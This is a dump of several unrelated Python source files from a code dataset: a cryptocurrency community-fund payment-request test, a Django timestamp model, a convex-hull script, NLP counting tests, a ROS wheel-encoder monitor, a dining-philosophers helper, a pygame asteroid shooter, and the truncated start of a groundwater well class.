DST_DIR)\n","sub_path":"copy_bin_from_env.py","file_name":"copy_bin_from_env.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"351448499","text":"#!/usr/bin/env python3\n# Copyright (c) 2018 The BKS Core developers\n# Distributed under the MIT software license, see the accompanying\n# file COPYING or http://www.opensource.org/licenses/mit-license.php.\n\nfrom test_framework.test_framework import BKSTestFramework\nfrom test_framework.util import *\n\nimport json\n\n\nclass CommunityFundCreatePaymentrequestRawTX(BKSTestFramework):\n \"\"\"Tests the state transition of payment requests of the Community fund.\"\"\"\n\n def __init__(self):\n super().__init__()\n self.setup_clean_chain = True\n self.num_nodes = 1\n\n self.goodDescription = \"good_payreq\"\n self.goodAddress = \"\"\n self.goodAmount = 1\n self.goodProposalHash = \"\"\n self.goodPayreqHash = \"\"\n\n def setup_network(self, split=False):\n self.nodes = start_nodes(self.num_nodes, self.options.tmpdir)\n self.is_network_split = False\n\n def run_test(self):\n # Make sure cfund is active\n self.activate_cfund()\n\n # Donate to the cfund\n self.nodes[0].donatefund(100)\n\n # Get address\n self.goodAddress = self.nodes[0].getnewaddress()\n\n # Create a proposal\n self.goodProposalHash = self.nodes[0].createproposal(self.goodAddress, 10, 3600, \"test\")[\"hash\"]\n self.start_new_cycle()\n\n # Accept the proposal\n self.nodes[0].proposalvote(self.goodProposalHash, \"yes\")\n self.start_new_cycle()\n\n # Proposal should be accepted\n assert (self.nodes[0].getproposal(self.goodProposalHash)[\"state\"] == 1)\n assert (self.nodes[0].getproposal(self.goodProposalHash)[\"status\"] == \"accepted\")\n\n # Create a good payment request\n self.goodPayreqHash = self.send_raw_paymentrequest(self.goodAmount, self.goodAddress, self.goodProposalHash, self.goodDescription)\n\n # Check good payment request is correct\n\n blocks = slow_gen(self.nodes[0], 1)\n goodPaymentRequest = self.nodes[0].listproposals()[0]['paymentRequests'][0]\n\n # The proposal should have all the same required fields\n assert (goodPaymentRequest['blockHash'] == blocks[0])\n self.checkGoodPaymentRequest(goodPaymentRequest)\n\n\n # Create payment request with negative amount\n try:\n self.send_raw_paymentrequest(-10, self.goodAddress, self.goodProposalHash, \"negative_amount\")\n raise ValueError(\"Error should be thrown for invalid rawtx (prequest)\")\n except JSONRPCException as e:\n assert(\"bad-cfund-payment-request\" in e.error['message'])\n\n # Create payment request with amount too large\n try:\n self.send_raw_paymentrequest(1000, self.goodAddress, self.goodProposalHash, \"too_large_amount\")\n raise ValueError(\"Error should be thrown for invalid rawtx (prequest)\")\n except JSONRPCException as e:\n assert(\"bad-cfund-payment-request\" in e.error['message'])\n\n # Create payment request with boolean description\n try:\n self.send_raw_paymentrequest(1, self.goodAddress, self.goodProposalHash, True)\n raise ValueError(\"Error should be thrown for invalid rawtx (prequest)\")\n except JSONRPCException as e:\n assert (\"bad-cfund-payment-request\" in e.error['message'])\n\n# # Create payment request with string amount\n# try:\n# self.send_raw_paymentrequest('1', self.goodAddress, self.goodProposalHash, 'string_amount')\n# except JSONRPCException as e:\n# assert (\"bad-cfund-payment-request\" in e.error['message'])\n\n # Generate block\n slow_gen(self.nodes[0], 1)\n\n # Check there exists only 1 good payment request\n assert (len(self.nodes[0].listproposals()[0]['paymentRequests']) == 1)\n\n self.start_new_cycle()\n\n # # Verify nothing changed\n assert (float(self.nodes[0].getproposal(self.goodProposalHash)[\"notPaidYet\"]) == 10)\n assert (float(self.nodes[0].cfundstats()[\"funds\"][\"locked\"]) == 10)\n\n # Accept payment request\n self.nodes[0].paymentrequestvote(self.goodPayreqHash, \"yes\")\n self.start_new_cycle()\n slow_gen(self.nodes[0], 10)\n\n # Check the payment request is paid out\n assert (float(self.nodes[0].getproposal(self.goodProposalHash)[\"notPaidYet\"]) == 9)\n assert (float(self.nodes[0].cfundstats()[\"funds\"][\"locked\"]) == 9)\n\n\n # Create multiple payment requests\n self.send_raw_paymentrequest(6, self.goodAddress, self.goodProposalHash, \"sum_to_too_large_amount0\")\n self.send_raw_paymentrequest(6, self.goodAddress, self.goodProposalHash, \"sum_to_too_large_amount1\")\n self.send_raw_paymentrequest(6, self.goodAddress, self.goodProposalHash, \"sum_to_too_large_amount2\")\n\n slow_gen(self.nodes[0], 1)\n\n # Check there exists only 1 + 1 good payment request\n assert (len(self.nodes[0].listproposals()[0]['paymentRequests']) == 2)\n\n\n # Create payment request to somebody else's address\n\n address_3rd_party = self.nodes[0].getnewaddress()\n try:\n self.send_raw_paymentrequest(1, address_3rd_party, self.goodProposalHash, \"3rd_party_address\")\n raise ValueError(\"Error should be thrown for invalid rawtx (prequest)\")\n except JSONRPCException as e:\n assert(\"bad-cfund-payment-request\" in e.error['message'])\n\n\n # Create and test for expired and rejected proposals\n\n proposalid1_rejected = self.nodes[0].createproposal(self.goodAddress, 10, 3600, \"test_rejected\")[\"hash\"]\n proposalid2_expired_timeout = self.nodes[0].createproposal(self.goodAddress, 10, 1, \"test_expired_timeout\")[\"hash\"]\n proposalid3_expired_no_votes = self.nodes[0].createproposal(self.goodAddress, 10, 3600, \"test_expired_no_votes\")[\"hash\"]\n self.start_new_cycle()\n\n # Reject Proposal 1 and accept Proposal 2\n self.nodes[0].proposalvote(proposalid1_rejected, \"no\")\n self.nodes[0].proposalvote(proposalid2_expired_timeout, \"yes\")\n self.start_new_cycle()\n\n # Proposal 1 should be rejected\n assert (self.nodes[0].getproposal(proposalid1_rejected)[\"state\"] == 2)\n assert (self.nodes[0].getproposal(proposalid1_rejected)[\"status\"] == \"rejected\")\n\n # Create a payment request for a rejected proposal\n try:\n self.send_raw_paymentrequest(1, self.goodAddress, proposalid1_rejected, \"rejected_payreq\")\n raise ValueError(\"Error should be thrown for invalid rawtx (prequest)\")\n except JSONRPCException as e:\n assert (\"bad-cfund-payment-request\" in e.error['message'])\n\n time.sleep(1)\n slow_gen(self.nodes[0], 10)\n\n # Proposal 2 should be expired\n assert (self.nodes[0].getproposal(proposalid2_expired_timeout)[\"status\"] == \"expired waiting for end of voting period\")\n\n self.start_new_cycle()\n\n # Create a payment request for an expired proposal\n try:\n self.send_raw_paymentrequest(1, self.goodAddress, proposalid2_expired_timeout, \"expired_payreq\")\n raise ValueError(\"Error should be thrown for invalid rawtx (prequest)\")\n except JSONRPCException as e:\n assert (\"bad-cfund-payment-request\" in e.error['message'])\n\n # Let Proposal 3 expire\n self.start_new_cycle()\n self.start_new_cycle()\n self.start_new_cycle()\n\n # Proposal 3 should be expired\n assert (self.nodes[0].getproposal(proposalid3_expired_no_votes)[\"state\"] == 3)\n assert (self.nodes[0].getproposal(proposalid3_expired_no_votes)[\"status\"] == \"expired\")\n\n # Create a payment request for an expired proposal\n try:\n self.send_raw_paymentrequest(1, self.goodAddress, proposalid3_expired_no_votes, \"expired_payreq\")\n raise ValueError(\"Error should be thrown for invalid rawtx (prequest)\")\n except JSONRPCException as e:\n assert (\"bad-cfund-payment-request\" in e.error['message'])\n\n\n def checkGoodPaymentRequest(self, paymentRequest):\n assert (paymentRequest['version'] == 2)\n assert (paymentRequest['hash'] == self.goodPayreqHash)\n assert (paymentRequest['description'] == self.goodDescription)\n assert (float(paymentRequest['requestedAmount']) == float(self.goodAmount))\n assert (paymentRequest['votesYes'] == 0)\n assert (paymentRequest['votesNo'] == 0)\n assert (paymentRequest['votingCycle'] == 0)\n assert (paymentRequest['status'] == 'pending')\n assert (paymentRequest['state'] == 0)\n assert (paymentRequest['stateChangedOnBlock'] == '0000000000000000000000000000000000000000000000000000000000000000')\n\n def send_raw_paymentrequest(self, amount, address, proposal_hash, description):\n amount = amount * 100000000\n privkey = self.nodes[0].dumpprivkey(address)\n message = \"I kindly ask to withdraw \" + str(amount) + \"BKS from the proposal \" + proposal_hash + \". Payment request id: \" + str(description)\n signature = self.nodes[0].signmessagewithprivkey(privkey, message)\n\n # Create a raw payment request\n raw_payreq_tx = self.nodes[0].createrawtransaction(\n [],\n {\"6ac1\": 1},\n json.dumps({\"v\": 2, \"h\": proposal_hash, \"n\": amount, \"s\": signature, \"i\": description})\n )\n\n # Modify version for payreq creation\n raw_payreq_tx = \"05\" + raw_payreq_tx[2:]\n\n # Fund raw transacion\n raw_payreq_tx = self.nodes[0].fundrawtransaction(raw_payreq_tx)['hex']\n\n # Sign raw transacion\n raw_payreq_tx = self.nodes[0].signrawtransaction(raw_payreq_tx)['hex']\n\n # Send raw transacion\n tx_hash = self.nodes[0].sendrawtransaction(raw_payreq_tx)\n\n return tx_hash\n\n def activate_cfund(self):\n slow_gen(self.nodes[0], 100)\n # Verify the Community Fund is started\n assert (self.nodes[0].getblockchaininfo()[\"bip9_softforks\"][\"communityfund\"][\"status\"] == \"started\")\n\n slow_gen(self.nodes[0], 100)\n # Verify the Community Fund is locked_in\n assert (self.nodes[0].getblockchaininfo()[\"bip9_softforks\"][\"communityfund\"][\"status\"] == \"locked_in\")\n\n slow_gen(self.nodes[0], 100)\n # Verify the Community Fund is active\n assert (self.nodes[0].getblockchaininfo()[\"bip9_softforks\"][\"communityfund\"][\"status\"] == \"active\")\n\n def end_cycle(self):\n # Move to the end of the cycle\n slow_gen(self.nodes[0], self.nodes[0].cfundstats()[\"votingPeriod\"][\"ending\"] - self.nodes[0].cfundstats()[\"votingPeriod\"][\n \"current\"])\n\n def start_new_cycle(self):\n # Move one past the end of the cycle\n slow_gen(self.nodes[0], self.nodes[0].cfundstats()[\"votingPeriod\"][\"ending\"] - self.nodes[0].cfundstats()[\"votingPeriod\"][\n \"current\"] + 1)\n\nif __name__ == '__main__':\n CommunityFundCreatePaymentrequestRawTX().main()\n","sub_path":"qa/rpc-tests/cfund-rawtx-paymentrequest-create.py","file_name":"cfund-rawtx-paymentrequest-create.py","file_ext":"py","file_size_in_byte":10907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"367679541","text":"from django.db import models\nfrom django.utils import timezone\n\n\nclass TimeStampedModel(models.Model):\n \"\"\"\n 抽象基底クラス\n \"\"\"\n\n created_at = models.DateTimeField(auto_now_add=True)\n created_user_id = models.IntegerField(blank=True, null=True)\n updated_at = models.DateTimeField(auto_now_add=True)\n updated_user_id = models.IntegerField(blank=True, null=True)\n is_deleted = models.IntegerField(default=0)\n deleted_at = models.DateTimeField(blank=True, null=True)\n deleted_user_id = models.IntegerField(blank=True, null=True)\n\n class Meta:\n abstract = True\n\n def save(self, user=None, **kwargs):\n if user and user.is_authenticated:\n self.updated_user_id = user.id\n if not self.created_at:\n self.created_user_id = user.id\n\n self.updated_at = timezone.now()\n super(TimeStampedModel, self).save(**kwargs)\n","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"337897818","text":"# Input : First Polygon : {(2, 2), (3, 3), (5, 2), (4, 0), (3, 1)}\n# Second Polygon : {(-1, 0), (0, 1), (1, 0), (0, -2)}.\n# Output : Upper Tangent - line joining (0,1) and (3,3)\n# Lower Tangent - line joining (0,-2) and (4,0)\nimport math\nimport matplotlib.pyplot as plt\n\ndef sign_ret(num):\n if(num==0):\n return 0\n if(num > 0):\n return 1\n else:\n return -1\n\ndef split(li):\n li.sort(key=takefirst)\n li_temp = [[]]\n num0 = math.floor(len(li) / 5)\n for i in range(num0):\n li_temp[i] = li[i:i + 5]\n\n if len(li) - 5 * num0 != 0:\n li_temp.append(li[5 * num0:len(lists)])\n return li_temp\n\ndef takefirst(elem):\n return elem[0]\ndef takesecond(elem):\n return elem[1]\n\ndef find_upper_tangent(a0,b0):\n a=[]\n b=[]\n for i in range(len(a0)):\n if takesecond(a0[i]) >= takesecond(a0[len(a0)-1]):\n a.append(a0[i])\n\n for i in range(len(b0)):\n if takesecond(b0[i]) >= takesecond(b0[0]):\n b.append(b0[i])\n\n inc_find=0;\n # a 是左边的凸集, b 是右边的凸集\n n1 = len(a)-1\n n2 = len(a)-2\n\n n3 = 0\n n4 = 1\n\n a_cross = 1\n b_cross = 1\n p1 = a[n1]\n p2 = a[n2]\n p3 = b[n3]\n p4 = b[n4]\n while inc_find==0:\n while a_cross==1:\n p2 = a[n2]\n p_temp = a[n2-1]\n if (p_temp[0]-p3[0])*(p2[1]-p3[1])/(p2[0]-p3[0]) >= p_temp[1]-p3[1]:\n n1 = n2\n n2 = n1 - 1\n p1 = a[n1]\n p2 = a[n2]\n a_cross=0\n else:\n n2 = n2-1\n print('across=0')\n\n while b_cross==1:\n p4 = b[n4]\n p_temp = b[n4+1]\n if (p_temp[0]-p1[0])*(p4[1]-p1[1])/(p4[0]-p1[0]) >= p_temp[1]-p1[1]:\n n3 = n4\n n4 = n3+1\n p3 = b[n3]\n p4 = b[n4]\n p_temp = a[n2]\n b_cross = 0\n if (p_temp[0] - p3[0]) * (p2[1] - p3[1]) / (p2[0] - p3[0]) >= p_temp[1] - p3[1]:\n inc_find = 1\n else:\n a_cross=0\n else:\n n4=n4+1\n return(p1,p3)\n\ndef find_lower_tangent(a0,b0):\n a=[]\n b=[]\n for i in range(len(a0)):\n if takesecond(a0[i]) <= takesecond(a0[len(a0)-1]):\n a.append(a0[i])\n\n for i in range(len(b0)):\n if takesecond(b0[i]) <= takesecond(b0[0]):\n b.append(b0[i])\n\n inc_find=0;\n # a 是左边的凸集, b 是右边的凸集\n n1 = len(a)-1\n n2 = len(a)-2\n\n n3 = 0\n n4 = 1\n\n a_cross = 1\n b_cross = 1\n p1 = a[n1]\n p2 = a[n2]\n p3 = b[n3]\n p4 = b[n4]\n while inc_find==0:\n while a_cross==1:\n\n p2 = a[n2]\n p_temp = a[n2-1]\n\n if (p_temp[0]-p3[0])*(p2[1]-p3[1])/(p2[0]-p3[0])<=p_temp[1]-p3[1]:\n n1 = n2\n n2 = n1 - 1\n p1 = a[n1]\n p2 = a[n2]\n a_cross=0\n else:\n n2=n2-1\n print('across=0')\n while b_cross==1:\n p4 = b[n4]\n p_temp = b[n4+1]\n if (p_temp[0]-p1[0])*(p4[1]-p1[1])/(p4[0]-p1[0])<=p_temp[1]-p1[1]:\n n3 = n4\n n4 = n3+1\n p3 = b[n3]\n p4 = b[n4]\n p_temp = a[n2]\n b_cross = 0\n if (p_temp[0] - p3[0]) * (p2[1] - p3[1]) / (p2[0] - p3[0]) <= p_temp[1] - p3[1]:\n inc_find = 1\n else:\n a_cross=0\n else:\n n4 = n4+1\n\n return(p1,p3)\n\ndef merge_convex(a0,b0):\n pu = find_upper_tangent(a0,b0)\n pl = find_lower_tangent(a0,b0)\n convex0 =[]\n for i in range(len(a0)):\n if (takefirst(a0[i]) <= takefirst(pu[0]) and takesecond(a0[i]) >= takesecond(a0[0]) ) or (takefirst(a0[i]) <= takefirst(pl[0]) and takesecond(a0[i]) <= takesecond(a0[0]) ) :\n convex0.append(a0[i])\n for i in range(len(b0)):\n if (takefirst(b0[i]) >= takefirst(pu[1]) and takesecond(b0[i]) >= takesecond(b0[0]) ) or (takefirst(b0[i]) >= takefirst(pl[1]) and takesecond(b0[i]) <= takesecond(b0[0]) ) :\n convex0.append(b0[i])\n return(convex0)\n\ndef brutehull(li):\n hull=[]\n hull0=[]\n\n for i in range(len(li)):\n for j in range(i+1,len(li)):\n p1=li[i]\n p2=li[j]\n pos = 0\n neg = 0\n for k in range(len(li)):\n p3=li[k]\n if (p2[0] - p1[0]) * (p3[1] - p1[1]) - (p3[0] - p1[0]) * (p2[1] - p1[1])>=0:\n pos = pos+1\n if (p2[0] - p1[0]) * (p3[1] - p1[1]) - (p3[0] - p1[0]) * (p2[1] - p1[1])<=0:\n neg = neg+1\n if pos == len(li) or neg == len(li):\n hull0.append(p1)\n hull0.append(p2)\n\n for i in hull0:\n if i not in hull:\n hull.append(i)\n\n li.sort(key=takefirst)\n return hull\n\n\n\nlists = [(2, 2), (3, 3), (5, 2), (4, 0), (3, 1),(-1, 0), (0, 1), (1, 0), (0, -2)]\n\nsplit_li=split(lists)\n\nhull1=brutehull(split_li[0])\n\n\ntestlist1=[(2, 2), (3, 3), (5, 2), (4, 0), (3, 1)]\ntestlist2=[(-1, 0), (0, 1), (1, 0), (0, -2)]\ntestlist1.sort(key=takefirst)\ntestlist2.sort(key=takefirst)\nconvex= merge_convex(testlist2,testlist1)\n\nprint(find_upper_tangent(testlist2,testlist1))\nprint(find_lower_tangent(testlist2,testlist1))\n\nplt.figure(1)\nx=[]\ny=[]\nfor i in range(len(convex)):\n x.append(takefirst(convex[i]))\n y.append(takesecond(convex[i]))\nplt.scatter(x,y,color='red',marker='s')\nx=[]\ny=[]\nplt.figure(2)\nfor i in range(len(testlist1)):\n x.append(takefirst(testlist1[i]))\n y.append(takesecond(testlist1[i]))\nplt.scatter(x,y,color='blue')\nx=[]\ny=[]\nfor i in range(len(testlist2)):\n x.append(takefirst(testlist2[i]))\n y.append(takesecond(testlist2[i]))\nplt.scatter(x,y,color='blue')\n\nplt.show()\nprint('finished')","sub_path":"report/CONVEX.py","file_name":"CONVEX.py","file_ext":"py","file_size_in_byte":5937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"96937864","text":"# coding: utf-8\n\nimport os\nimport re\nimport unittest\nfrom collections import Counter\nfrom collections import defaultdict\n\nfrom clabel.config import RESOURCE_DIR\nfrom common import utils\nfrom nlp import default_hanlp_parser as parser\n\n\nclass MyTestCase(unittest.TestCase):\n def test_something(self):\n self.assertEqual(True, False)\n\n def test_load_mobile_words(self):\n self.assertTrue(True)\n\n sentiments = load_sentiment_words(os.path.join(RESOURCE_DIR, 'mobile', '1正面评价词_a+.txt'))\n sentiments |= load_sentiment_words(os.path.join(RESOURCE_DIR, 'mobile', '1负面评价词_a-.txt'))\n\n features = load_feature_word(os.path.join(RESOURCE_DIR, 'mobile', 'mobile.ontology'))\n\n print(sentiments)\n print(features)\n print('sentiment words size: {}, feature words size: {}'.format(len(sentiments), len(features)))\n\n utils.write_file(os.path.join(RESOURCE_DIR, 'mobile', 'mobile.words'), sentiments | features)\n\n def test_count_syntax(self):\n self.assertTrue(True)\n\n sentiments = load_sentiment_words(os.path.join(RESOURCE_DIR, 'mobile', '1正面评价词_a+.txt'))\n sentiments |= load_sentiment_words(os.path.join(RESOURCE_DIR, 'mobile', '1负面评价词_a-.txt'))\n features = load_feature_word(os.path.join(RESOURCE_DIR, 'mobile', 'mobile.ontology'))\n\n corpus_file = os.path.join(RESOURCE_DIR, 'mobile', 'std.txt')\n\n ff_counter = Counter()\n oo_counter = Counter()\n fo_counter = Counter()\n\n ff_samples = defaultdict(set)\n oo_samples = defaultdict(set)\n fo_samples = defaultdict(set)\n\n i = 0\n for line in utils.iter_file(corpus_file):\n i += 1\n\n if i % 100 == 0:\n print(i)\n\n if i > 200000:\n break\n\n for sent in parser.parse2sents(line):\n for relation in sent.relations:\n token1 = relation.token1.word\n token2 = relation.token2.word\n\n if token1 in features and token2 in features:\n ff_counter.update([relation.format])\n ff_samples[relation.format].add(str(relation))\n\n if token1 in sentiments and token2 in sentiments:\n oo_counter.update([relation.format])\n oo_samples[relation.format].add(str(relation))\n\n if token1 in sentiments and token2 in features:\n fo_counter.update([relation.format])\n fo_samples[relation.format].add(str(relation))\n\n if token1 in features and token2 in sentiments:\n fo_counter.update([relation.format])\n fo_samples[relation.format].add(str(relation))\n\n utils.save_obj(ff_counter, os.path.join(RESOURCE_DIR, 'mobile', 'count', 'ff.counter'))\n utils.save_obj(oo_counter, os.path.join(RESOURCE_DIR, 'mobile', 'count', 'oo.counter'))\n utils.save_obj(fo_counter, os.path.join(RESOURCE_DIR, 'mobile', 'count', 'fo.counter'))\n\n utils.save_obj(ff_samples, os.path.join(RESOURCE_DIR, 'mobile', 'count', 'ff.dict'))\n utils.save_obj(oo_samples, os.path.join(RESOURCE_DIR, 'mobile', 'count', 'oo.dict'))\n utils.save_obj(fo_samples, os.path.join(RESOURCE_DIR, 'mobile', 'count', 'fo.dict'))\n\n def test_show_count(self):\n self.assertTrue(True)\n\n ff_counter = utils.read_obj(os.path.join(RESOURCE_DIR, 'mobile', 'count', 'ff.counter'))\n oo_counter = utils.read_obj(os.path.join(RESOURCE_DIR, 'mobile', 'count', 'oo.counter'))\n fo_counter = utils.read_obj(os.path.join(RESOURCE_DIR, 'mobile', 'count', 'fo.counter'))\n\n ff_dict = utils.read_obj(os.path.join(RESOURCE_DIR, 'mobile', 'count', 'ff.dict'))\n oo_dict = utils.read_obj(os.path.join(RESOURCE_DIR, 'mobile', 'count', 'oo.dict'))\n fo_dict = utils.read_obj(os.path.join(RESOURCE_DIR, 'mobile', 'count', 'fo.dict'))\n\n print('-' * 10 + 'ff' + '-' * 10)\n for r, c in ff_counter.most_common(20):\n print(r, c)\n\n print('-' * 10 + 'oo' + '-' * 10)\n for r, c in oo_counter.most_common(20):\n print(r, c)\n\n print('-' * 10 + 'fo' + '-' * 10)\n for r, c in fo_counter.most_common(20):\n print(r, c)\n\n for relation in ff_dict:\n utils.write_file(os.path.join(RESOURCE_DIR, 'mobile', 'count', 'samples', 'ff_{}.txt'.format(relation)),\n ff_dict[relation])\n\n for relation in oo_dict:\n utils.write_file(os.path.join(RESOURCE_DIR, 'mobile', 'count', 'samples', 'oo_{}.txt'.format(relation)),\n oo_dict[relation])\n\n for relation in fo_dict:\n utils.write_file(os.path.join(RESOURCE_DIR, 'mobile', 'count', 'samples', 'fo_{}.txt'.format(relation)),\n fo_dict[relation])\n\n def test_x1(self):\n self.assertTrue(True)\n\n lines = []\n for i, line in enumerate(utils.iter_file(os.path.join(RESOURCE_DIR, 'mobile', 'std.txt'))):\n if i < 50000:\n lines.append(line)\n\n utils.write_file(os.path.join(RESOURCE_DIR, 'mobile', 'std.5w.txt'), lines)\n\n\ndef load_sentiment_words(file_path):\n words = set()\n\n for line in utils.iter_file(file_path):\n line = line.strip()\n if not line or line.startswith('----'):\n continue\n\n for word in line.split():\n word = word.strip()\n if not word:\n continue\n\n word = re.sub(r'\\(\\d+\\)', '', word)\n words.add(word)\n\n return words\n\n\ndef load_feature_word(file_path):\n words = set()\n\n for line in utils.iter_file(file_path):\n line = line.strip()\n if not line:\n continue\n\n groups = re.findall(r'^(\\S+) \\S+ \\S+ \\S+ \\[([^\\[\\]]*)\\].*$', line)[0]\n words.add(groups[0])\n for word in groups[1].split():\n if word:\n words.add(word)\n\n return words\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"ztests/test_count_syntax.py","file_name":"test_count_syntax.py","file_ext":"py","file_size_in_byte":6131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"346995377","text":"#!/usr/bin/env python\n\nimport time\nimport math\nimport rospy\nfrom std_msgs.msg import Int16, String\nfrom robot_state import RobotState\nfrom gbot.msg import RobotCmd\n\nclass TrackEncoders:\n def __init__(self, driver):\n self.driver = driver\n\n self.last_state = None\n self.last_time = time.time()\n self.lmotor_reading = 0\n self.rmotor_reading = 0\n \n rospy.Subscriber(\"robot_commands\", RobotCmd, self.robot_state_callback, queue_size=1)\n rospy.Subscriber(\"lwheel\", Int16, self.lwheel_callback, queue_size=1)\n rospy.Subscriber(\"rwheel\", Int16, self.rwheel_callback, queue_size=1)\n\n def robot_state_callback(self, data):\n if self.last_state != data.cmd:\n self.last_state = data.cmd\n self.last_time = time.time()\n\n def lwheel_callback(self, data):\n self.process(data, self.lmotor_reading, True)\n\n def rwheel_callback(self, data):\n self.process(data, self.rmotor_reading, False)\n\n def process(self, data, motor_reading, is_left):\n if self.last_state is None:\n return\n\n if (time.time() - self.last_time) < 1:\n return\n\n if self.last_state == RobotState.FORWARD:\n if data.data == motor_reading and motor_reading > 0:\n rospy.logerr(\"Robot stuck - %s not moving\", \"lmotor\" if is_left else \"rmotor\")\n self.driver.do_emergency_stop()\n\n if is_left:\n self.lmotor_reading = data.data\n else:\n self.rmotor_reading = data.data\n self.last_time = time.time()\n\n\n","sub_path":"gbot/src/track_encoders.py","file_name":"track_encoders.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"480200613","text":"import logging\nfrom chopstick import Chopstick\nfrom chopstick_state import ChopstickState\n\n\nclass Chopsticks(object):\n def __init__(self, chopstick_num):\n self._chopsticks = [Chopstick() for i in range(0, chopstick_num)]\n self.log = logging.getLogger(__name__)\n self.log.debug(\"Initialized {} chopsticks\".format(len(self.chopsticks)))\n\n @property\n def chopsticks(self):\n return self._chopsticks\n\n def acquire_pair(self):\n free_chops = []\n\n # Try to acquire chopstick pair\n for chopstick in self.chopsticks:\n if chopstick.state == ChopstickState.free:\n chopstick.state = ChopstickState.busy\n free_chops.append(chopstick)\n\n # Return if pair found\n if len(free_chops) == 2:\n return free_chops\n\n # If here, there is no pair. Release acquired chopsticks, if any.\n for chopstick in free_chops:\n chopstick.state = ChopstickState.free\n return None\n","sub_path":"chopsticks.py","file_name":"chopsticks.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"239778677","text":"import pygame\r\nimport random\r\nimport math\r\nfrom pygame import mixer\r\n#init\r\npygame.init()\r\nscreen=pygame.display.set_mode((900,600))\r\nbang=mixer.Sound(\"C:/Users/User/Desktop/python projects/shoting/shot.mp3\")\r\nbullet=mixer.Sound(\"C:/Users/User/Desktop/python projects/shoting/bcsound1.mp3\")\r\nloser=mixer.Sound(\"C:/Users/User/Desktop/python projects/shoting/lose.mp3\")\r\n\r\n\r\n\r\n#icon name\r\npygame.display.set_caption(\"infinity shot\")\r\n\r\n#load images player\r\nship=pygame.image.load(\"C:/Users/User/Desktop/python/ship.png\")\r\nx=450\r\ny=550\r\nPX=0\r\nPY=0\r\n\r\n#asteroids\r\n\r\nastr1=[]\r\nox=[]\r\noy=[]\r\noyp=[]\r\nfor i in range(0, 20):\r\n astr1.append(pygame.image.load(\"C:/Users/User/Desktop/python projects/shoting/asteroid2.png\"))\r\n ox.append(random.randint(10,590))\r\n oy.append(random.randint(-80, -40))\r\n oyp.append(1)\r\n\r\n#bullet\r\nbll=pygame.image.load(\"C:/Users/User/Desktop/python/bullets.png\")\r\nbx=0\r\nby=558\r\nconstant=0\r\nbyp=0\r\n\r\n\r\n#score\r\nscv=0\r\nscfont=pygame.font.SysFont(\"start\", 40)\r\n\r\n#game over\r\noverf=pygame.font.SysFont(\"over\",80)\r\n\r\n#backound\r\nspace=pygame.image.load(\"C:/Users/User/Desktop/python/space.png\")\r\nmixer.music.load(\"C:/Users/User/Desktop/python projects/shoting/bcsound1.mp3\")\r\nmixer.music.play(4)\r\n\r\n\r\n\r\n\r\n#main\r\nrunning=True\r\nwhile running: \r\n screen.fill((0,0,0))\r\n pygame.image.load(\"C:/Users/User/Desktop/python/space.png\")\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n running=False\r\n\r\n if event.type ==pygame.KEYDOWN:\r\n if event.key == pygame.K_LEFT:\r\n PX=-3\r\n PY=0\r\n elif event.key == pygame.K_RIGHT:\r\n PX=3\r\n PY=0\r\n elif event.key == pygame.K_TAB:\r\n if constant==0:\r\n bx=x\r\n constant=1\r\n byp=-20\r\n \r\n if event.type ==pygame.KEYUP:\r\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\r\n PX=0\r\n PY=0\r\n\r\n \r\n\r\n\r\n x=x + PX \r\n by=by+byp\r\n\r\n\r\n if x>875:\r\n x=875\r\n if x<=0:\r\n x=0\r\n\r\n\r\n#1\r\n screen.blit(space,(0,0))\r\n\r\n#2\r\n if constant==1:\r\n screen.blit(bll,(bx+7, by)) \r\n if by<=0:\r\n by=558\r\n constant=0\r\n \r\n #3\r\n\r\n for i in range(0,20):\r\n if oy[i]>=590:\r\n ox[i]=random.randint(10,890)\r\n oy[i]=random.randint(-80,-40)\r\n\r\n d=math.sqrt((bx-ox[i])**2+(by-oy[i])**2)\r\n dis=math.sqrt((ox[i]-x)**2+(oy[i]-y)**2)\r\n\r\n if d<20:\r\n bang.play()\r\n ox[i]=random.randint(10,890)\r\n oy[i]=random.randint(-80,-40) \r\n scv+=1\r\n oy[i]=oy[i]+oyp[i]\r\n score=scfont.render(\"SCORE: \"+str(scv),True, (255,255,0))\r\n screen.blit(score,(20,20))\r\n screen.blit(astr1[i], (ox[i], oy[i] ))\r\n\r\n if dis<35:\r\n over=overf.render(\"GAME OVER\",True,(255,255,0))\r\n screen.blit(over,(300,300))\r\n loser.play(1)\r\n \r\n \r\n#4\r\n screen.blit(ship, (x, y))\r\n pygame.display.update()\r\npygame.quit()\r\n","sub_path":"shoting/infinity shot.py","file_name":"infinity shot.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"493818106","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport inspect # Used for storing the input\nfrom .element import Element\nfrom .equation import PotentialEquation, MscreenWellEquation\nfrom .trace import timtracelines\nfrom scipy.special import k0, k1\n\n\nclass WellBase(Element):\n def __init__(self, model, xw=0, yw=0, Qw=100.0, rw=0.1, \\\n res=0.0, layers=0, name='WellBase', label=None):\n Element.__init__(self, model, nparam=1, nunknowns=0, layers=layers, \\\n name=name, label=label)\n # Defined here and not in Element as other elements can have multiple\n # parameters per layers\n self.nparam = len(self.layers)\n self.xw = float(xw)\n self.yw = float(yw)\n self.Qw = np.atleast_1d(Qw)\n self.rw = float(rw)\n self.res = float(res)\n self.model.add_element(self)\n\n def __repr__(self):\n return self.name + ' at ' + str((self.xw, self.yw))\n\n def initialize(self):\n self.xc = np.array([self.xw + self.rw])\n self.yc = 